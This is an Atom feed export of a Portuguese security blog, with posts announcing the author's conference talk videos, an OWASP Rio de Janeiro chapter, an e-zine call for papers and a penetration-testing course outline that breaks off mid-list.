<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3466062841868611806</id><updated>2012-02-02T08:43:25.836-02:00</updated><category term='vulnerabilidades'/><category term='ITIL'/><category term='Segurança Online'/><category term='curso'/><category term='segurança'/><category term='invasão'/><category term='COBIT'/><category term='Firebug'/><category term='OWASP'/><category term='GSI'/><category term='ecommerce'/><category term='SQL Injection'/><category term='Web Security'/><category term='incidentes'/><category term='espionagem segurança informação'/><category term='ISO 27001 17799'/><category term='Segurança Digital'/><category term='CSRF'/><category term='TI'/><category term='segurança da informação'/><category term='XSS'/><category term='análise'/><category term='PHP Injection'/><category term='hacker'/><title type='text'>Hack Proofing Labs - Pensando Fora da Caixa</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default?start-index=101&amp;max-results=100'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>106</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4610893780308396738</id><published>2012-01-31T09:41:00.002-02:00</published><updated>2012-01-31T09:41:13.945-02:00</updated><title type='text'>Palestras no HackingDay</title><content type='html'>Pessoas, já foram liberados os vídeos e slides das palestras apresentadas no Hacking Day sábado passado (28/01).&lt;br /&gt;&lt;br /&gt;Abaixo seguem os links dos slides de minhas palestras e os videos das mesmas, que foram transmitidas ao vivo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.corujadeti.com.br/wp-content/uploads/2012/01/rematerialdaspalestras.zip"&gt;http://blog.corujadeti.com.br/wp-content/uploads/2012/01/rematerialdaspalestras.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Primeira parte&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="228" scrolling="no" src="http://www.ustream.tv/embed/recorded/20060183?ub=006699&amp;amp;lc=54ABD6&amp;amp;oc=ffffff&amp;amp;uc=ffffff" style="border: 0px none transparent;" width="360"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Segunda parte&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="228" scrolling="no" src="http://www.ustream.tv/embed/recorded/20064884?ub=006699&amp;amp;lc=54ABD6&amp;amp;oc=ffffff&amp;amp;uc=ffffff" style="border: 0px none transparent;" width="360"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Terceira parte&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="228" scrolling="no" src="http://www.ustream.tv/embed/recorded/20067549?ub=006699&amp;amp;lc=54ABD6&amp;amp;oc=ffffff&amp;amp;uc=ffffff" style="border: 0px none transparent;" width="360"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4610893780308396738?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4610893780308396738/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2012/01/palestras-no-hackingday.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4610893780308396738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4610893780308396738'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2012/01/palestras-no-hackingday.html' title='Palestras no HackingDay'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7204946450272107852</id><published>2012-01-30T11:02:00.001-02:00</published><updated>2012-01-30T11:48:41.770-02:00</updated><title type='text'>Vídeos das palestras do FISL-12</title><content type='html'>&lt;br /&gt;Em junho do ano passado (2011) rolou o FISL 12 e participei de uma Lightning Talk e apresentei uma palestra sobre forense. Como a organização do evento liberou os vídeos, decidi compartilhar aqui no Blog.&lt;br /&gt;&lt;br /&gt;Aproveitei para colocar também o link para quem quiser acessar todas as outras apresentações do FISL 12.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Grade das palestras:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://fisl.org.br/12/papers_ng/public/fast_grid?event_id=1"&gt;http://fisl.org.br/12/papers_ng/public/fast_grid?event_id=1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Forense Computacional com Software Livre:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://gibson.softwarelivre.org/static/2011/high/sala41b/sala41b-high-201106300856.ogv"&gt;http://gibson.softwarelivre.org/static/2011/high/sala41b/sala41b-high-201106300856.ogv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;D-Flash talks!!! - 5 minutos para tópicos emergentes no mercado de tecnologia:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://gibson.softwarelivre.org/static/2011/high/sala41d/sala41d-high-201106291159.ogv"&gt;http://gibson.softwarelivre.org/static/2011/high/sala41d/sala41d-high-201106291159.ogv&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7204946450272107852?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7204946450272107852/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2012/01/videos-das-palestras-do-fisl-12.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7204946450272107852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7204946450272107852'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2012/01/videos-das-palestras-do-fisl-12.html' title='Vídeos das palestras do FISL-12'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8866143153355388838</id><published>2012-01-30T10:35:00.000-02:00</published><updated>2012-01-30T10:35:07.105-02:00</updated><title type='text'>Evento Internacional - Just4Meeting 3.0 - Lisboa/Portugal</title><content type='html'>Pessoal, gostaria de compartilhar com vocês o convite que recebi para palestrar em um evento internacional, o Just4Meeting 3.0 que ocorrerá em Julho de 2012 em Lisboa/Portugal.&lt;br /&gt;&lt;br /&gt;O mais legal de tudo é que haverão mais três brasileiros palestrando no mesmo evento: Ewerson Guimarães (Crash do DCLabs), Alex Nunes (do Codebreakers), e Emanuel Rodrigues.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Link para saber mais sobre o evento:&amp;nbsp;&lt;a href="http://www.just4meeting.com/2012/"&gt;http://www.just4meeting.com/2012/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8866143153355388838?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8866143153355388838/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2012/01/evento-internacional-just4meeting-30.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8866143153355388838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8866143153355388838'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2012/01/evento-internacional-just4meeting-30.html' title='Evento Internacional - Just4Meeting 3.0 - Lisboa/Portugal'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6741248445546437490</id><published>2012-01-13T15:55:00.001-02:00</published><updated>2012-01-30T10:29:05.588-02:00</updated><title type='text'>Próximas palestras</title><content type='html'>Aproveitando para informar, pessoal, &amp;nbsp;nos próximos meses já tenho 4 palestras agendadas em diferentes evento. Caso surjam outros eventos, atualizarei esse post, mas até março só participarei desses eventos por enquanto :-)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking Day&lt;/b&gt; - 28/01/2012 - em SP&lt;br /&gt;Link para saber mais:&amp;nbsp;&lt;a href="http://blog.corujadeti.com.br/ingressos-a-venda-para-o-hacking-day/"&gt;http://blog.corujadeti.com.br/ingressos-a-venda-para-o-hacking-day/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;VOLDay III&lt;/b&gt; - 24/03/2012 - em Niterói/RJ&lt;br /&gt;Link para saber mais:&amp;nbsp;&lt;a href="http://www.volcon.org/volday3/"&gt;http://www.volcon.org/volday3/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;15º CNASI RJ&lt;/b&gt; - 26/03/2012 - em RJ&lt;br /&gt;Link para saber mais:&amp;nbsp;&lt;a href="http://www.cnasi.com.br/rj/"&gt;http://www.cnasi.com.br/rj/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Just4meeting 3.0&lt;/b&gt; - 6, 7 e 8/07/2012 - em Lisboa/Portugal&lt;br /&gt;Link para saber mais:&amp;nbsp;&lt;a href="http://www.just4meeting.com/2012/"&gt;http://www.just4meeting.com/2012/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Espero poder encontrar os Srs. em algum desses eventos. No HackingDay estou pensando em marcar uma cerveja pós-evento, mas ainda preciso convencer a galera hehehe. Será possivelmente no O'Malleys (Consolação), se alguém se animar, é só nos procurar no HackingDay.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6741248445546437490?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6741248445546437490/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2012/01/proximas-palestras.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6741248445546437490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6741248445546437490'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2012/01/proximas-palestras.html' title='Próximas palestras'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8839612133647363272</id><published>2012-01-06T16:51:00.000-02:00</published><updated>2012-01-06T16:51:04.422-02:00</updated><title type='text'>Surge uma nova empresa de treinamentos - OYS Academy</title><content type='html'>&amp;nbsp;Caros,&lt;br /&gt;&lt;br /&gt;Quero informar à todos o surgimento de uma nova empresa no mercado de treinamentos de TI no Rio de Janeiro, mas com atuação nacional, e em breve com atuação em Angola, Itália e Portugal.&lt;br /&gt;&lt;br /&gt;A empresa chama-se OYS - Open Your Source - Academy e tem o seu site em &lt;a href="http://www.oys.com.br/"&gt;www.oys.com.br&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.oys.com.br/jpg/logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="98" src="http://www.oys.com.br/jpg/logo.jpg" width="239" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Em breve, no site, teremos a ementa, valores e calendários de todos os cursos apresentados no ano de 2012, tanto na modalidade presencial (diurno, noturno e final de semana), quanto na modalidade EaD.&lt;br /&gt;&lt;br /&gt;O foco da empresa são os treinamentos em soluções de Software Livre, com maior ênfase em Segurança da Informação em geral. E teremos, além dos cursos, as formações, que são pacotes de cursos com uma sequência lógica, que permitirá ao aluno ter uma visão aprofundada de determinada área.&lt;br /&gt;&lt;br /&gt;Temos como objetivo, oferecer um produto de melhor qualidade do que aqueles que estão no mercado atualmente, e com um valor de investimento mais acessível, abaixo do mercado explorado pelas empresas concorrentes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8839612133647363272?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8839612133647363272/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2012/01/surge-uma-nova-empresa-de-treinamentos.html#comment-form' title='13 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8839612133647363272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8839612133647363272'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2012/01/surge-uma-nova-empresa-de-treinamentos.html' title='Surge uma nova empresa de treinamentos - OYS Academy'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7877024917354914900</id><published>2011-12-20T14:11:00.003-02:00</published><updated>2011-12-20T14:11:51.129-02:00</updated><title type='text'>Don't feed the troll</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-JWdI8aKt8dk/ThRkkgjlyvI/AAAAAAAAAUY/arLCIieDxNM/s400/DontFeedTheTroll.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-JWdI8aKt8dk/ThRkkgjlyvI/AAAAAAAAAUY/arLCIieDxNM/s320/DontFeedTheTroll.jpg" width="285" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7877024917354914900?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7877024917354914900/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/dont-feed-troll.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7877024917354914900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7877024917354914900'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/dont-feed-troll.html' title='Don&apos;t feed the troll'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-JWdI8aKt8dk/ThRkkgjlyvI/AAAAAAAAAUY/arLCIieDxNM/s72-c/DontFeedTheTroll.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-2303650837452654205</id><published>2011-12-16T14:51:00.000-02:00</published><updated>2011-12-16T14:51:31.985-02:00</updated><title type='text'>Capítulo OWASP no Rio de Janeiro</title><content type='html'>Caros, tenho a honra de compartilhar com vocês, a abertura do mais novo capítulo do OWASP no Brasil: o capítulo Rio de Janeiro.&lt;br /&gt;&lt;br /&gt;Em breve teremos mais informações, bem como as datas e locais dos encontros do capítulo aqui na cidade do RJ. Tais informações, bem como o endereço da lista de discussão para quem tem interesse em participar efetivamente do capítulo, segue abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.owasp.org/index.php/Rio_de_Janeiro"&gt;https://www.owasp.org/index.php/Rio_de_Janeiro&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quero convidá-los a participar desse grupo e contribuir para a divulgação dessa notícia, que certamente será um marco na cidade do Rio de Janeiro, tão carente de grupos de pesquisa e estudos na área de segurança da informação.&lt;br /&gt;&lt;br /&gt;Abraço à todos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-2303650837452654205?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/2303650837452654205/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/capitulo-owasp-no-rio-de-janeiro.html#comment-form' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2303650837452654205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2303650837452654205'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/capitulo-owasp-no-rio-de-janeiro.html' title='Capítulo OWASP no Rio de Janeiro'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-460821893025982002</id><published>2011-12-13T14:10:00.002-02:00</published><updated>2011-12-13T14:11:50.878-02:00</updated><title type='text'>Cogumelo Binário - 2º Edição - Call for papers!</title><content type='html'>&lt;pre&gt;&lt;b&gt;Cogumelo Binário - 2º Edição - Call for papers!&lt;/b&gt;&lt;br /&gt;==============================================================&lt;/pre&gt;&lt;pre&gt;   Vamos que vamos! Aproveitando o embalo do lançamento da 1ª edição,&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;convocamos a todos a participarem da 2ª edição da Cogumelo Binário!&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;Assim como na primeira edição, mantemos o foco nos seguintes tópicos:&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;hacking em geral, crypto, unix, low-level, RE, tricks etc.&lt;br /&gt;&lt;br /&gt;   Se você gosta de montar crackme/exploitme e quiser contribuir,&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;mande para fazermos um desafio entre o público que acompanha a e-zine!&lt;br /&gt;   Dúvidas? Sugestões? Pra onde enviar o paper? &lt;a href="http://cogubin.leet.la/contato.html"&gt;Entre em contato&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;   E assim como na primeira edição, divulgaremos o deadline para&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;envio de paper, bem como a data de lançamento da 2ª edição em um&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;momento oportuno! &lt;a href="http://cogubin.leet.la/contato.html"&gt;Fique ligado&lt;/a&gt;!&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-460821893025982002?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/460821893025982002/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/cogumelo-binario-2-edicao-call-for.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/460821893025982002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/460821893025982002'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/cogumelo-binario-2-edicao-call-for.html' title='Cogumelo Binário - 2º Edição - Call for papers!'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-466051243542863465</id><published>2011-12-12T23:19:00.000-02:00</published><updated>2011-12-12T23:19:27.169-02:00</updated><title type='text'>Vídeos de minhas palestras no Hack'n Rio</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;No dia 03 de dexembro de 2012, apresentei duas palestras no Hack'n Rio sobre assuntos correlatos à segurança. Como a organização do evento já disponibilzou os vídeos, decidi postar aqui os links dos vídeos de minhas duas palestras.&lt;br /&gt;&lt;br /&gt;Seguem os links:&lt;br /&gt;&lt;br /&gt;Forense Computacional com Software Livre:&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=fkyLTaxhgbs&amp;amp;list=PL3724990A515A780F&amp;amp;index=1&amp;amp;feature=plpp_video" target="_blank"&gt;Vídeo 1 &lt;/a&gt;- &lt;a href="http://www.youtube.com/watch?v=2qh3GXixKdQ&amp;amp;list=PL3724990A515A780F&amp;amp;index=2&amp;amp;feature=plpp_video" target="_blank"&gt;Vídeo 2&lt;/a&gt; - &lt;a href="http://www.youtube.com/watch?v=_awlMnYxyJM&amp;amp;list=PL3724990A515A780F&amp;amp;index=3&amp;amp;feature=plpp_video" target="_blank"&gt;Vídeo 3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;How Stuff Works: Exploits:&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=bojlT4iQgSU&amp;amp;list=PL3724990A515A780F&amp;amp;index=12&amp;amp;feature=plpp_video" target="_blank"&gt;Vídeo 1&lt;/a&gt; - &lt;a href="http://www.youtube.com/watch?v=72cgUIG4doQ&amp;amp;list=PL3724990A515A780F&amp;amp;index=13&amp;amp;feature=plpp_video" target="_blank"&gt;Vídeo 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Espero que aproveitem e gostem...&lt;br /&gt;&lt;br /&gt;Abraço!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-466051243542863465?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/466051243542863465/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/videos-de-minhas-palestras-no-hackn-rio.html#comment-form' title='5 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/466051243542863465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/466051243542863465'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/videos-de-minhas-palestras-no-hackn-rio.html' title='Vídeos de minhas palestras no Hack&apos;n Rio'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7101914567944451174</id><published>2011-12-12T10:24:00.002-02:00</published><updated>2011-12-21T09:08:46.641-02:00</updated><title type='text'>Curso Teste de Invasão em Redes - EaD</title><content type='html'>De 13/02 à 15/03 de 2012&lt;br /&gt;&lt;br /&gt;Curso de Teste de Invasão em Redes - EaD, com conteúdo completamente prático em ambiente interativo, com acesso à tela do instrutor e download de todo o material de aula (vídeos de cada aula gravada, áudio em separado para ouvir onde quiser, apostila completa e logs do chat onde as dúvidas são respondidas e os comando digitados).&lt;br /&gt;&lt;br /&gt;Os alunos, além de montarem seus laboratórios com máquinas virtuais (com S.Os. atuais), terão exemplos reais de redes e aplicações vulneráveis, encontrados na web durante a aula.&lt;br /&gt;&lt;br /&gt;Todo o curso será baseado na distribuição Backtrack, com ferramentas livres e gratuitas!&lt;br /&gt;&lt;br /&gt;O instrutor do curso possui anos de experiência em testes de invasão, tanto em redes, quanto aplicações web, redes wireless e review code. E é uma oportunidade de aprender com quem convive com as necessidades e situações reais do mercado atual, com clientes de grande porte como multinacionais de diversas áreas (Petróleo e Gás, Telecomunicações, Transportes, Operadoras de Cartão de Crédito, Bancos, Instituições Militares e Órgãos Públicos).&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red; text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Promoção&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: red;"&gt;Ao inscrever-se no curso de Teste de Invasão em Redes, o aluno ganhará acesso aos vídeos das aulas do curso de Pentest com Metasploit Framwork.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: red;"&gt;E para os alunos do curso de Pentest com Metasploit Framework, haverá um desconto de 50% na inscrição do curso de Teste de Invasão em Redes, basta enaviar-me um e-mail informando-me que fez parte da turma de Metasploit.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Alguns dos tópicos abordados no curso são:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Introdução a segurança da Informação&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Introdução ao Teste de Invasão e Ética Hacker&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escrita de Relatórios&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Arte da busca: Google Hacking&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Levantamento de informações e relacionamentos&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Varreduras ativas, passivas e furtivas de rede&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Enumeração de informações e serviços&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Testando o Sistema&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ignorando 